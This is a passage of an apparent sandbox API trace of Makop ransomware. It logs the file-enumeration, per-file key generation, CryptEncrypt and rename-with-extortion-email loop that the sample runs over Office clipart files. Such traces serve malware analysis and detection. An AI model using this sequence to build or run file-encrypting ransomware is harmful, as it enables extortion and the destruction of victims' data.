(in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.173] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.175] CloseHandle (hObject=0xf0) returned 1 [0154.175] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f000, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f000, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01237_.GIF", cAlternateFileName="")) returned 1 [0154.175] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF") returned 63 [0154.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.176] GetProcessHeap () returned 0x48a0000 [0154.176] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.177] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.177] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.177] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0154.181] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.181] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.181] GetProcessHeap () returned 0x48a0000 [0154.181] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.181] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.181] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.181] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.181] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.182] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.182] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.182] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.182] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.182] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.183] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16b, lpOverlapped=0x0) returned 1 [0154.183] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x170, dwBufLen=0x170 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x170) returned 1 [0154.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x170, lpOverlapped=0x0) returned 1 [0154.183] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.183] SetEndOfFile (hFile=0xf0) returned 1 [0154.192] GetProcessHeap () returned 0x48a0000 [0154.192] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.192] GetProcessHeap () returned 0x48a0000 [0154.192] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.192] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.195] CloseHandle (hObject=0xf0) returned 1 [0154.195] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe368b800, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe368b800, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x167, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01238_.GIF", cAlternateFileName="")) returned 1 [0154.196] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF") returned 63 [0154.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.197] GetProcessHeap () returned 0x48a0000 [0154.197] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.197] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.197] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0154.201] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.201] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.201] GetProcessHeap () returned 0x48a0000 [0154.201] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.201] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.201] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.201] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.202] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.202] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.202] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.203] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.203] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x167, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x167, lpOverlapped=0x0) returned 1 [0154.203] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x170, dwBufLen=0x170 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x170) returned 1 [0154.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.203] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x170, lpOverlapped=0x0) returned 1 [0154.211] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.211] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.211] SetEndOfFile (hFile=0xf0) returned 1 [0154.218] GetProcessHeap () returned 0x48a0000 [0154.218] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.220] GetProcessHeap () returned 0x48a0000 [0154.220] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.220] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.233] CloseHandle (hObject=0xf0) returned 1 [0154.233] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa57200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbfa57200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01239_.GIF", cAlternateFileName="")) returned 1 [0154.233] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF") returned 63 [0154.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.285] GetProcessHeap () returned 0x48a0000 [0154.285] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.285] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.286] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0154.292] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.292] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.292] GetProcessHeap () returned 0x48a0000 [0154.292] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.292] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.292] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.292] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.293] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.293] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.293] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.293] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.293] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.294] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.294] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.294] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.294] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x19a, lpOverlapped=0x0) returned 1 [0154.294] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a0, dwBufLen=0x1a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a0) returned 1 [0154.294] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.294] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a0, lpOverlapped=0x0) returned 1 [0154.294] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.294] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.294] SetEndOfFile (hFile=0xf0) returned 1 [0154.302] GetProcessHeap () returned 0x48a0000 [0154.302] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.302] GetProcessHeap () returned 0x48a0000 [0154.302] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.302] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.379] CloseHandle (hObject=0xf0) returned 1 [0154.379] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d80d00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1d80d00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01240_.GIF", cAlternateFileName="")) returned 1 [0154.379] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF") returned 63 [0154.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.381] GetProcessHeap () returned 0x48a0000 [0154.381] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.381] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.381] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.381] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0154.385] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.385] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.385] GetProcessHeap () returned 0x48a0000 [0154.385] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.385] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.385] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.385] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.385] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.386] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.386] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.386] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.386] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.386] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.387] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14d, lpOverlapped=0x0) returned 1 [0154.387] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x150, dwBufLen=0x150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x150) returned 1 [0154.387] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.387] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, 